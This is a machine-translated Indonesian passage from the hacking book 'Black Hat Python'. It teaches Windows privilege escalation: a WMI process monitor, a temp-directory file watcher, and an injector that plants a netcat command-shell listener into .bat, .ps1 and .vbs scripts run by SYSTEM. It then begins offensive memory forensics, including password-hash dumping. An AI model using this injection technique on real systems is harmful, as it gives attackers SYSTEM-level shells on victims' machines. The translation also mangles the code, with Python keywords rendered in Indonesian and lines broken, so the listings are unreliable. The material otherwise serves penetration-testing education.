akan dijalankan, menetapkan batas waktu satu menit, dan membuat objek acara 1.
Dalam metode SvcStop , kita mengatur status layanan dan menghentikan layanan 2.
Dalam metode SvcDoRun , kami memulai layanan dan memanggil metode utama di mana
tugas kami akan dijalankan 3. Kami mendefinisikan metode utama ini selanjutnya:
def utama(diri):
1 sementara Benar:
ret_code = win32event.WaitForSingleObject(
self.hWaitStop, self.timeout)
2 jika ret_code == win32event.WAIT_OBJECT_0:
servicemanager.LogInfoMsg("Layanan berhenti")
merusak
Secara utama, kami menyiapkan loop 1 yang berjalan setiap menit, karena self.timeout
parameter, hingga layanan menerima sinyal berhenti 2. Saat sedang berjalan, kami menyalin
file skrip ke direktori target, menjalankan skrip, dan menghapus file 3.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
manajer layanan.Inisialisasi()
manajer layanan.PrepareToHostSingle(BHServerSvc)
manajer layanan.StartServiceCtrlDispatcher()
kalau tidak:
win32serviceutil.HandleCommandLine(BHServerSvc)
Terkadang Anda mungkin ingin membuat layanan nyata pada mesin korban.
Kerangka kerangka ini memberi Anda garis besar tentang cara menyusunnya.
Anda dapat menemukan skrip bhservice_tasks.vbs di https:// nostarch.com/ black-hat
-python2E/. Tempatkan file di direktori dengan bhservice.py dan ubah SRCDIR untuk menunjuk ke
direktori ini. Direktori Anda akan terlihat seperti ini:
Sekarang, setiap menit, layanan akan menulis file skrip ke direktori sementara, menjalankan skrip,
dan menghapus file. Ini akan melakukan ini sampai Anda menjalankan perintah stop:
Anda dapat memulai atau menghentikan layanan sebanyak yang Anda suka. Ingatlah bahwa
jika Anda mengubah kode di bhservice.py, Anda juga harus membuat executable baru dengan
pyinstaller dan meminta Windows memuat ulang layanan dengan perintah bhservice update . Ketika
Anda sudah selesai bermain-main dengan layanan dalam bab ini, hapus layanan tersebut dengan
bhservice delete.
Anda sebaiknya pergi. Sekarang mari kita lanjutkan ke bagian yang menyenangkan!
156 Bab 10
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Saat berkonsultasi suatu hari, rekan kerjanya Mark Wuergler menyarankan agar mereka
menggunakan El Jefe secara ofensif: dengan itu, mereka dapat memantau proses yang dijalankan
sebagai SISTEM pada mesin Windows target. Hal ini akan memberikan wawasan tentang penanganan
file yang berpotensi tidak aman atau pembuatan proses anak. Itu berhasil, dan mereka pergi dengan
banyak bug peningkatan hak istimewa, memberi mereka kunci kerajaan.
Kelemahan utama dari El Jefe asli adalah ia menggunakan DLL, yang dimasukkan ke dalam
setiap proses, untuk mencegat panggilan ke CreateProcess asli.
fungsi. Kemudian menggunakan pipa bernama untuk berkomunikasi dengan klien koleksi, yang
meneruskan rincian pembuatan proses ke server logging. Sayangnya, sebagian besar software antivirus
juga mengaitkan CreateProcess
panggilan, jadi mereka menganggap Anda sebagai malware atau Anda mengalami masalah ketidakstabilan
sistem saat menjalankan El Jefe berdampingan dengan perangkat lunak antivirus.
Kami akan menciptakan kembali beberapa kemampuan pemantauan El Jefe tanpa kaitan,
mengarahkannya ke teknik ofensif. Ini akan menjadikan pemantauan kami portabel dan memberi
kami kemampuan untuk menjalankannya bersama perangkat lunak antivirus tanpa masalah.
Mari kita mulai dengan menulis skrip pemantauan yang sangat sederhana yang menyediakan
informasi proses dasar dan kemudian mengembangkannya untuk menentukan hak istimewa yang
diaktifkan.1 Perhatikan bahwa untuk menangkap informasi tentang proses hak istimewa tinggi yang
dibuat oleh SYSTEM, misalnya, Anda memerlukan untuk menjalankan skrip pemantauan Anda sebagai
Administrator. Mulailah dengan menambahkan kode berikut ke process_
monitor.py:
impor mereka
sistem impor
impor win32api
impor win32con
impor keamanan win32
impor wmi
1. Kode ini diadaptasi dari halaman Python WMI (http:// timgolden.me.uk/ python/ wmi/
tutorial.html).
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
def log_to_file(pesan):
dengan open('process_monitor_log.csv', 'a') sebagai
fd: fd.write(f'{message}\r\n')
cetak(proses_log_pesan) cetak()
log_to_file(proses_log_pesan) kecuali
Pengecualian: lulus
Kita mulai dengan membuat instance WMI kelas 1 dan memerintahkannya untuk
memperhatikan kejadian pembuatan proses 2. Kita kemudian memasukkan loop, yang
memblokir hingga process_watcher mengembalikan kejadian proses baru 3. Kejadian
proses baru adalah kelas WMI bernama Win32_Process yang berisi semua informasi
relevan yang kami cari.2 Salah satu fungsi kelas adalah GetOwner, yang kami panggil 4
untuk menentukan siapa yang memulai proses tersebut. Kami mengumpulkan semua
informasi proses yang kami cari, menampilkannya di layar, dan mencatatnya ke dalam file.
Menendang Ban
Mari jalankan skrip pemantauan proses dan buat beberapa proses untuk melihat seperti apa
hasilnya:
158 Bab 10
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
10312 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
T/A
buku catatan,
20200624083340.325593-240 C: ,
\Windows\system32\notepad.exe,
13184 ,
12788 ,
('DESKTOP-CC91N7I', 0, 'tim'),
T/A
Setelah menjalankan skrip, kami menjalankan notepad.exe dan calc.exe. Seperti yang Anda
lihat, alat ini mengeluarkan informasi proses ini dengan benar. Anda sekarang dapat beristirahat lebih
lama, membiarkan skrip ini berjalan selama sehari, dan mencatat semua proses yang berjalan, tugas
terjadwal, dan berbagai pembaruan perangkat lunak. Anda mungkin menemukan malware jika Anda
(tidak) beruntung. Masuk dan keluar dari sistem juga berguna, karena peristiwa yang dihasilkan dari
tindakan ini dapat menunjukkan proses yang memiliki hak istimewa.
Sekarang kita sudah memiliki pemantauan proses dasar, mari isi kolom hak istimewa di logging
kita. Namun pertama-tama, Anda harus mempelajari sedikit tentang cara kerja hak istimewa
Windows dan mengapa hak tersebut penting.
Ingatlah bahwa jika Anda tidak dapat menjalankan monitor proses sebagai SISTEM atau pengguna
administratif, maka Anda perlu mengawasi proses apa yang dapat Anda pantau . Apakah ada hak
istimewa tambahan yang dapat Anda manfaatkan? Sebuah proses yang berjalan sebagai pengguna
dengan hak istimewa yang salah adalah cara yang fantastis untuk masuk ke SISTEM atau menjalankan
kode di kernel. Tabel 10-1 mencantumkan keistimewaan menarik yang selalu dinantikan oleh penulis.
Ini tidak menyeluruh, namun berfungsi sebagai titik awal yang baik.4
4. Untuk daftar lengkap hak istimewa, kunjungi http:// msdn.microsoft.com/ en-us/ library/ windows/ desktop/
bb530716(v=vs.85).aspx.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
SeDebugPrivilege Ini memungkinkan proses pengguna untuk men-debug proses lain. Ini juga mencakup
mendapatkan pegangan proses untuk memasukkan DLL atau kode ke dalam
proses yang sedang berjalan.
SeLoadDriver Hal ini memungkinkan proses pengguna untuk memuat atau membongkar driver.
Sekarang setelah Anda mengetahui hak istimewa mana yang harus dicari, mari manfaatkan Python
secara otomatis mengambil hak istimewa yang diaktifkan pada proses yang kami pantau. Kami
akan menggunakan modul win32security, win32api, dan win32con .
Jika Anda menghadapi situasi di mana Anda tidak dapat memuat modul ini, coba terjemahkan semua
fungsi berikut ke dalam panggilan asli menggunakan pustaka ctypes .
Hal ini mungkin terjadi, meskipun memerlukan lebih banyak pekerjaan.
Tambahkan kode berikut ke process_monitor.py tepat di atas fungsi log_to_file yang ada :
def get_process_privileges(pid):
mencoba:
hproc = win32api.OpenProcess( 1
win32con.PROCESS_QUERY_INFORMATION, Salah, pid
)
htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY) 2
privs = win32security.GetTokenInformasi( 3
htok,win32security.Keistimewaan Token
)
''
hak istimewa =
untuk priv_id, tandai di privs:
jika bendera == (win32security.SE_PRIVILEGE_ENABLED | 4
win32security.SE_PRIVILEGE_ENABLED_BY_DEFAULT):
hak istimewa += f'{win32security.LookupPrivilegeName(Tidak ada, priv_id)}|' 5
kecuali Pengecualian:
hak istimewa = 'T/A'
Kami menggunakan ID proses untuk mendapatkan pegangan ke proses target 1. Selanjutnya, kami
membuka token proses 2 dan meminta informasi token untuk proses 3 tersebut dengan mengirimkan
struktur win32security.TokenPrivileges . Pemanggilan fungsi mengembalikan daftar tupel, dengan
anggota pertama tupel adalah hak istimewa dan anggota kedua menjelaskan apakah hak istimewa
diaktifkan atau tidak. Karena kami hanya mementingkan bit yang diaktifkan, pertama-tama kami
memeriksa bit 4 yang diaktifkan dan kemudian mencari nama yang dapat dibaca manusia untuk hak
istimewa 5 tersebut.
Selanjutnya, ubah kode yang ada untuk menampilkan dan mencatat informasi ini dengan benar.
Ubah baris kode
160 Bab 10
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
sebagai berikut:
Sekarang kita telah menambahkan kode pelacakan hak istimewa, mari jalankan kembali
skrip process_monitor.py dan periksa hasilnya. Anda akan melihat informasi hak istimewa:
buku catatan,
20200624084436.727998-240 C: ,
\Windows\system32\notepad.exe,
10720 ,
2732 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobalPrivilege|
Anda dapat melihat bahwa kami telah berhasil mencatat hak istimewa yang diaktifkan untuk proses ini.
Sekarang kita dapat dengan mudah memasukkan beberapa kecerdasan ke dalam skrip untuk hanya mencatat
proses yang dijalankan sebagai pengguna yang tidak memiliki hak istimewa tetapi memiliki hak istimewa
yang menarik yang diaktifkan. Penggunaan pemantauan proses ini akan membuat kita menemukan proses yang
bergantung pada file eksternal secara tidak aman.
Memenangkan Perlombaan
Skrip batch, VBScript, dan PowerShell membuat hidup administrator sistem lebih mudah
dengan mengotomatiskan tugas-tugas yang membosankan. Mereka mungkin terus
mendaftar ke layanan inventaris pusat, misalnya, atau memaksa pembaruan perangkat
lunak dari repositori mereka sendiri. Salah satu masalah umum adalah kurangnya
kontrol akses yang tepat pada file skrip ini. Dalam beberapa kasus, pada server yang
aman, kami menemukan skrip batch atau PowerShell yang dijalankan sekali sehari oleh
pengguna SISTEM dan dapat ditulis secara global oleh pengguna mana pun.
Jika Anda menjalankan monitor proses cukup lama di suatu perusahaan (atau
Anda cukup menginstal layanan sampel yang disediakan di awal bab ini), Anda mungkin
melihat rekaman proses yang terlihat seperti ini:
20200624102235.287541-240 ,
wscript.exe C:\Windows\TEMP\bhservice_task.vbs, C:\Windows\
SysWOW64\wscript.exe,2828 , ,17516
('NT AUTHORITY', 0, 'SYSTEM') , SeLockMemoryPrivilege|SeTcb
Hak Istimewa|Lihat Hak Istimewa Profil Sistem | Lihat Hak Istimewa Proses Tunggal Profil | Lihat Hak Istimewa Prioritas Basis Peningkatan
ege|SeCreatePagefilePrivilege|SeCreatePermanentPrivilege|SeDebugPrivilege|SeAuditPrivilege|SeCh
angeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobalPrivilege|SeIncreaseWorkingSetPrivilege
e|SeTimeZonePrivilege|SeCreateSymbolicLinkPrivilege|SeDelegateSessionUserImpersonatePrivilege|
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Anda dapat melihat bahwa proses SYSTEM telah menghasilkan biner wscript.exe
dan meneruskan parameter C:\WINDOWS\TEMP\bhservice_task.vbs . Contoh bhservice
yang Anda buat di awal bab harus menghasilkan kejadian ini satu kali per menit.
Namun jika Anda mencantumkan isi direktori, Anda tidak akan melihat file ini ada.
Ini karena layanan membuat file yang berisi VBScript dan kemudian mengeksekusi dan
menghapus VBScript tersebut. Kami telah melihat tindakan ini dilakukan oleh perangkat
lunak komersial dalam beberapa kasus; sering kali, perangkat lunak membuat file di lokasi
sementara, menulis perintah ke dalam file, mengeksekusi file program yang dihasilkan,
dan kemudian menghapus file tersebut.
Untuk memanfaatkan kondisi ini, kita harus memenangkan perlombaan
melawan kode pelaksana secara efektif. Saat perangkat lunak atau tugas terjadwal
membuat file, kita harus dapat memasukkan kode kita sendiri ke dalam file sebelum
proses dijalankan dan menghapusnya. Triknya ada pada Windows API
ReadDirectoryChangesW yang berguna, yang memungkinkan kita memantau direktori
untuk setiap perubahan pada file atau subdirektori. Kami juga dapat memfilter kejadian
ini sehingga kami dapat menentukan kapan file telah disimpan. Dengan begitu, kita
dapat dengan cepat memasukkan kode kita ke dalamnya sebelum dieksekusi. Anda
mungkin merasa sangat berguna untuk mengawasi semua direktori sementara selama
jangka waktu 24 jam atau lebih; terkadang, Anda akan menemukan bug atau
pengungkapan informasi yang menarik selain potensi peningkatan hak istimewa.
Mari kita mulai dengan membuat monitor file. Kami kemudian akan mengembangkannya untuk mengotomatiskan
cukup menyuntikkan kode. Simpan file baru bernama file_monitor.py dan selesaikan
yang berikut ini:
FILE_CREATED = 1
FILE_DELETED = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5
FILE_LIST_DIRECTORY = 0x0001
1 JALUR = ['c:\\WINDOWS\\Temp', tempfile.gettempdir()]
def monitor(path_to_watch):
2 h_directory = win32file.CreateFile(
jalur_ke_tonton,
FILE_LIST_DIRECTORY,
win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE |
win32con.FILE_SHARE_DELETE,
Tidak ada,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS,
162 Bab 10
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Tidak ada
) sementara Benar:
coba:
3 hasil = win32file.ReadDirectoryChangesW( h_directory, 1024, True,
win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
win32con.FILE_NOTIFY_ CHANGE_SECURITY
|.win32con.FILE_NOTIFY_CHANGE_SIZE, Tidak
Ada,
Tidak Ada
)
4 untuk tindakan, nama file dalam hasil: full_filename
= os.path.join(path_to_watch, file_name) if action == FILE_CREATED:
print(f'[+] Dibuat {full_filename}') elif
action == FILE_DELETED: print(f'[ -] Menghapus
{full_filename}') elif action ==
FILE_MODIFIED: print(f'[*] Memodifikasi
{full_filename}') coba: print('[vvv]
Membuang konten ... ')
Kami menentukan daftar direktori yang ingin kami pantau 1, yang ada di direktori kami
case adalah dua direktori file sementara yang umum. Anda mungkin ingin mengawasi
tempat lain, jadi edit daftar ini sesuai keinginan Anda.
Untuk masing-masing jalur ini, kami akan membuat thread pemantauan yang memanggil fungsi
start_monitor . Tugas pertama dari fungsi ini adalah mendapatkan pegangan ke direktori yang ingin kita pantau 2.
Kita kemudian memanggil ReadDirectoryChangesW
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
fungsi 3, yang memberi tahu kita ketika terjadi perubahan. Kami menerima nama file
dari file target yang diubah dan jenis peristiwa yang terjadi4.
Dari sini, kami mencetak informasi berguna tentang apa yang terjadi pada file tertentu, dan
jika kami mendeteksi bahwa file tersebut telah dimodifikasi, kami membuang konten file
tersebut untuk referensi 5.
Menendang Ban
Buka shell cmd.exe dan jalankan file_monitor.py:
C:\Users\tim\work> cd C:\Windows\temp
C:\Windows\Temp> echo halo > filetest.bat
C:\Windows\Temp> ganti nama filetest.bat file2test
C:\Windows\Temp> del file2test
Jika semuanya telah berjalan sesuai rencana, kami menganjurkan Anda untuk
tetap menjalankan monitor file Anda selama 24 jam pada sistem target. Anda mungkin
terkejut melihat file dibuat, dieksekusi, dan dihapus. Anda juga dapat menggunakan
skrip pemantauan proses untuk mencari jalur file tambahan yang menarik untuk
dipantau. Pembaruan perangkat lunak mungkin menjadi perhatian khusus.
Mari tambahkan kemampuan untuk memasukkan kode ke dalam file ini.
Injeksi Kode
Sekarang kami dapat memantau proses dan lokasi file, kami akan secara otomatis
memasukkan kode ke dalam file target. Kita akan membuat cuplikan kode yang sangat
sederhana yang menghasilkan versi kompilasi alat netcat.py dengan tingkat hak istimewa
layanan asal. Ada banyak hal buruk yang dapat Anda lakukan dengan file VBScript,
batch, dan PowerShell ini. Kami akan membuat kerangka umum, dan Anda dapat menjadi
liar dari sana. Ubah skrip file_monitor.py dan tambahkan kode berikut setelah konstanta
modifikasi file:
NETCAT = 'c:\\users\\tim\\work\\netcat.exe'
TGT_IP = '192.168.1.208'
'
CMD = f'{NETCAT} -t {TGT_IP} -p 9999 -l -c
164 Bab 10
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Kode yang akan kita masukkan akan menggunakan konstanta berikut: TGT_IP adalah alamat IP
korban (kotak Windows tempat kita memasukkan kode) dan TGT_PORT adalah port yang akan kita
sambungkan. Variabel NETCAT memberikan lokasi pengganti Netcat yang kita kodekan di Bab 2. Jika Anda
belum membuat executable dari kode tersebut, Anda dapat melakukannya sekarang:
Kemudian letakkan file netcat.exe yang dihasilkan ke dalam direktori Anda dan pastikan variabel
NETCAT mengarah ke file yang dapat dieksekusi tersebut.
Perintah yang akan dieksekusi oleh kode yang kita masukkan akan menghasilkan perintah terbalik.
cangkang mand:
1 FILE_TYPES = {
'.bat': ["\r\nREM bhpmarker\r\n", f'\r\n{CMD}\r\n'],
'.ps1': ["\r\n#bhpmarker\r\n", f'\r\nMulai-Proses "{CMD}"\r\n'],
'.vbs': ["\r\n'bhpmarker\r\n",
f'\r\nCreateObject("Wscript.Shell").Jalankan("{CMD}")\r\n'],
}
3 isi_lengkap = FILE_TYPES[ekstensi][0]
full_contents += FILE_TYPES[ekstensi][1]
full_contents += isi
dengan open(nama file_lengkap, 'w') sebagai f:
f.tulis(isi_lengkap)
print('\\o/ Kode yang Diinjeksikan')
Kita mulai dengan mendefinisikan kamus cuplikan kode yang cocok dengan ekstensi file tertentu 1.
Cuplikan tersebut menyertakan penanda unik dan kode yang ingin kita masukkan. Alasan kami menggunakan
penanda adalah untuk menghindari loop tak terbatas di mana kami melihat modifikasi file, memasukkan kode
kami, dan menyebabkan program mendeteksi tindakan ini sebagai peristiwa modifikasi file. Jika dibiarkan,
siklus ini akan berlanjut hingga file menjadi sangat besar dan hard drive mulai menangis. Sebaliknya, program
akan memeriksa penanda tersebut dan, jika menemukannya, program akan mengetahui untuk tidak
mengubah file tersebut untuk kedua kalinya.
Selanjutnya, fungsi inject_code menangani injeksi kode aktual dan pemeriksaan penanda file. Setelah
kami memverifikasi bahwa penanda tidak ada 2, kami menulis penanda dan kode yang kami inginkan untuk
menjalankan proses target 3. Sekarang kami perlu memodifikasi loop acara utama kami untuk menyertakan
pemeriksaan ekstensi file dan panggilan ke inject_code:
--menggunting--
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
mencoba:
Ini adalah tambahan yang cukup mudah pada loop utama. Kami melakukan pemisahan
cepat pada ekstensi file 1 dan kemudian memeriksanya dengan kamus jenis file yang dikenal 2.
Jika ekstensi file terdeteksi dalam kamus, kami memanggil fungsi inject_code . Mari kita coba.
Menendang Ban
Jika Anda menginstal bhservice di awal bab ini, Anda dapat dengan mudah menguji injektor
kode baru Anda yang mewah. Pastikan layanan berjalan dan kemudian jalankan skrip
file_monitor.py Anda . Pada akhirnya, Anda akan melihat keluaran yang menunjukkan bahwa
file .vbs telah dibuat dan dimodifikasi dan kode tersebut telah dimasukkan. Dalam contoh berikut,
kami telah mengomentari pencetakan konten untuk menghemat ruang:
Jika Anda membuka jendela cmd baru, Anda akan melihat bahwa port target terbuka:
Jika semuanya berjalan lancar, Anda dapat menggunakan perintah nc atau menjalankan
skrip netcat.py dari Bab 2 untuk menghubungkan pendengar yang baru saja Anda buat. Untuk
memastikan eskalasi hak istimewa Anda berhasil, sambungkan ke pendengar dari mesin Kali Anda
dan periksa pengguna mana yang Anda jalankan sebagai:
Ini seharusnya menunjukkan bahwa Anda telah memperoleh hak istimewa dari yang suci
akun SISTEM. Injeksi kode Anda berhasil.
166 Bab 10
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Anda mungkin telah mencapai akhir bab ini dengan berpikir bahwa beberapa serangan
ini agak esoteris. Namun jika Anda menghabiskan cukup waktu di dalam perusahaan besar,
Anda akan menyadari bahwa taktik ini cukup bisa dilakukan. Anda dapat dengan mudah
memperluas peralatan dalam bab ini, atau mengubahnya menjadi skrip khusus untuk menyusupi
akun atau aplikasi lokal. WMI sendiri dapat menjadi sumber data pengintaian lokal yang sangat
baik; itu dapat memungkinkan Anda untuk melancarkan serangan lebih lanjut setelah Anda
berada di dalam jaringan. Peningkatan hak istimewa adalah bagian penting dari trojan yang baik.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
11
FORENSIK OFENSIF
kriptografi atau informasi lain yang hanya ada di memori. Beruntung bagi mereka,
tim pengembang berbakat telah menciptakan seluruh kerangka kerja Python yang
disebut Volatilitas yang cocok untuk tugas ini dan disebut sebagai kerangka kerja
forensik memori tingkat lanjut. Responden insiden, pemeriksa forensik, dan analis
malware juga dapat menggunakan Volatilitas untuk berbagai tugas lainnya, termasuk
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Meskipun Volatilitas adalah perangkat lunak untuk sisi pertahanan, alat apa pun yang
cukup kuat dapat digunakan untuk menyerang atau bertahan. Kami akan menggunakan
Volatilitas untuk melakukan pengintaian pada pengguna target dan menulis plug-in ofensif kami
sendiri untuk mencari proses dengan pertahanan lemah yang berjalan pada mesin virtual (VM).
Misalkan Anda menyusup ke mesin dan menemukan bahwa pengguna menggunakan
VM untuk pekerjaan sensitif. Kemungkinan besar pengguna juga telah membuat snapshot
VM sebagai jaring pengaman jika terjadi kesalahan. Kami akan menggunakan kerangka
analisis memori Volatilitas untuk menganalisis snapshot guna mengetahui bagaimana VM
digunakan dan proses apa yang sedang berjalan. Kami juga akan menyelidiki kemungkinan
kerentanan yang dapat kami manfaatkan untuk eksploitasi lebih lanjut.
Mari kita mulai!
Instalasi
Volatilitas telah ada selama beberapa tahun dan baru saja mengalami perubahan total. Tidak
hanya basis kode yang sekarang didasarkan pada Python 3, namun seluruh kerangka kerja
telah difaktorkan ulang sehingga komponen-komponennya independen; semua status yang
diperlukan untuk menjalankan plug-in bersifat mandiri.
Mari ciptakan lingkungan virtual hanya untuk pekerjaan kita dengan Volatilitas. Untuk
contoh ini, kami menggunakan Python 3 pada mesin Windows di terminal PowerShell. Jika Anda
juga bekerja dari mesin Windows, pastikan Anda telah menginstal git . Anda dapat
mengunduhnya di https:// git-scm.com/ downloads/.
Pada 1, kami membuat lingkungan virtual baru yang disebut vol3 dan mengaktifkan
dia. Selanjutnya, kita pindah ke direktori lingkungan virtual dan mengkloning repo GitHub
Volatility 3 2, menginstalnya ke lingkungan virtual, dan terakhir menginstal pycryptodome
3, yang akan kita perlukan nanti.
Untuk melihat plug-in yang ditawarkan Volatilitas, serta daftar opsi, gunakan
perintah berikut di Windows:
Di Linux atau Mac, gunakan Python yang dapat dieksekusi dari lingkungan virtual, sebagai
berikut:
Dalam bab ini, kita akan menggunakan Volatilitas dari baris perintah, tetapi tetap di sana
Ada berbagai cara Anda mungkin menemukan kerangka kerja tersebut. Misalnya, lihat
proyek Volumetrik dari Volatility, GUI berbasis web gratis untuk volatil-ity (https://
github.com/ volatilityfoundation/ volumetric/). Anda dapat menggali contoh kode di proyek
Volumetrik untuk melihat bagaimana Anda dapat menggunakan Volatilitas
170 Bab 11
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
program Anda sendiri. Selain itu, Anda dapat menggunakan antarmuka volshell , yang
memberi Anda akses ke kerangka Volatilitas dan berfungsi sebagai shell Python interaktif
biasa.
Pada contoh berikut, kita akan menggunakan baris perintah Volatilitas. Untuk
menghemat ruang, keluaran telah diedit agar hanya menampilkan keluaran yang dibahas, jadi
ketahuilah bahwa keluaran Anda akan memiliki lebih banyak baris dan kolom.
Sekarang mari kita mempelajari beberapa kode dan melihat ke dalam frameworknya:
Pengintaian Umum
Mari kita lihat gambaran umum mesin yang sedang kita analisis. Plug-in windows.info
menampilkan informasi sistem operasi dan kernel dari sampel memori:
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Variabel Nilai
Kami menentukan nama file snapshot dengan tombol -f dan plug-in Windows
yang akan digunakan, windows.info 1. Volatilitas membaca dan menganalisis file memori
dan mengeluarkan informasi umum tentang mesin Windows ini. Kita dapat melihat
bahwa kita sedang berhadapan dengan VM Windows 10.0 dan ia memiliki satu
prosesor dan satu lapisan memori.
Anda mungkin merasa perlu untuk mencoba beberapa plug-in pada file gambar
memori sambil meninjau kode plug-in. Menghabiskan waktu membaca kode dan
melihat keluaran yang sesuai akan menunjukkan kepada Anda bagaimana kode
tersebut seharusnya bekerja serta pola pikir umum para pembela HAM.
Selanjutnya, dengan plug-in registry.printkey , kita dapat mencetak nilai kunci di
registri. Ada banyak sekali informasi dalam registri, dan Volatilitas menyediakan cara
untuk menemukan nilai apa pun yang kita inginkan. Di sini, kami mencari layanan yang diinstal.
Kunci /ControlSet001/ Services memperlihatkan database Service Control Manager, yang
mencantumkan semua layanan yang diinstal:
172 Bab 11
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services W32Time PALSU
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services WaaSMedicSvc PALSU
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services WacomPen PALSU
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services Winsock PALSU
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services WinSock2 PALSU
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Layanan WINUSB PALSU
Output ini menunjukkan daftar layanan yang diinstal pada mesin (disingkat spasi).
Pengintaian Pengguna
Sekarang mari kita lakukan pengintaian pada pengguna VM. Plug-in cmdline mencantumkan
argumen baris perintah untuk setiap proses saat proses tersebut berjalan pada saat snapshot dibuat.
Proses ini memberi kita petunjuk mengenai perilaku dan niat pengguna.
72 Registri Memori yang diperlukan pada 0x20 tidak valid (proses keluar?)
340 smss.exe Memori yang diperlukan pada 0xa5f1873020 tidak dapat diakses (ditukar)
564 lsass.exe C:\Windows\system32\lsass.exe
624 winlogon.exe winlogon.exe
2160 MsMpEng.exe "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2008.9-0\
MsMpEng.exe"
explorer.exe 4732 C:\Windows\Explorer.EXE
svchost.exe 4848 dllhost.exe C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p
C:\Windows\system32\DllHost.exe /Prosesid:{AB8902B4-09CA-4BB6-B78D-
4920A8F59079A8D5}
5084 StartMenuExper "C:\Windows\SystemApps\Microsoft.Windows. . ."
5388 MicrosoftEdge. "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_. . ."
6452 / OneDrive.exe "C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\OneDrive.exe"
latar belakang
6484 FreeDesktopClo "C:\Program Files\Jam Desktop Gratis\FreeDesktopClock.exe"
7092 cmd.exe "C:\Windows\system32\cmd.exe" 1
3312 notepad.exe notepad 2
3824 powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
6448 Kalkulator.exe "C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_. . ."
6684 firefox.exe "C:\Program Files (x86)\Mozilla Firefox\firefox.exe"
6432 PowerToys.exe "C:\Program Files\PowerToys\PowerToys.exe"
7124 nc64.exe Memori yang diperlukan pada 0x2d7020 tidak dapat diakses (ditukar)
3324 smartscreen.ex C:\Windows\System32\smartscreen.exe -Penyematan
4768 ipconfig.exe Memori yang diperlukan pada 0x840308e020 tidak valid (proses keluar?)
Daftar tersebut memperlihatkan ID proses, nama proses, dan baris perintah dengan argumen
yang memulai proses. Anda dapat melihat bahwa sebagian besar proses dimulai oleh sistem itu
sendiri, kemungkinan besar pada saat boot. Proses cmd.exe 1 dan notepad.exe 2 adalah
proses umum yang akan dimulai oleh pengguna.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Mari selidiki proses yang sedang berjalan sedikit lebih dalam dengan plugin
pslist , yang berisi daftar proses yang sedang berjalan pada saat snapshot:
Di sini kita melihat proses sebenarnya dan offset memorinya. Beberapa kolom
dihilangkan demi spasi. Beberapa proses menarik dicantumkan, termasuk proses cmd dan
notepad yang kita lihat di output dari cmdline
plugin.
Akan menyenangkan untuk melihat proses sebagai hierarki, sehingga kita dapat mengetahui apa itu
proses memulai proses lainnya. Untuk itu, kami akan menggunakan plugin pstree :
174 Bab 11
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
**2136 556 *** vmtoolsd.exe 0xa50bba7bd080 11 cmd.exe 0 PALSU
8916 2136 **** ipconfig.exe 0xa50bba7bd080 0 0 PALSU
4768 8916 0xa50bba7bd080 0 0 PALSU
Sekarang kita mendapatkan gambaran yang lebih jelas. Tanda bintang di setiap baris menunjukkan
hubungan induk-anak dari proses tersebut. Misalnya, proses userinit (PID 4704) melahirkan proses
explorer.exe . Begitu pula dengan explorer.exe
proses (PID 4732) memulai proses cmd.exe (PID 7092). Dari proses itu, pengguna memulai notepad.exe
dan proses lain yang disebut nc64.exe.
Sekarang mari kita periksa kata sandi dengan plugin hashdump :
Outputnya menunjukkan nama pengguna akun dan hash LM dan NT dari kata sandinya.
Memulihkan hash kata sandi pada mesin Windows setelah penetrasi adalah tujuan umum
penyerang. Hash ini dapat di-crack secara offline dalam upaya memulihkan kata sandi
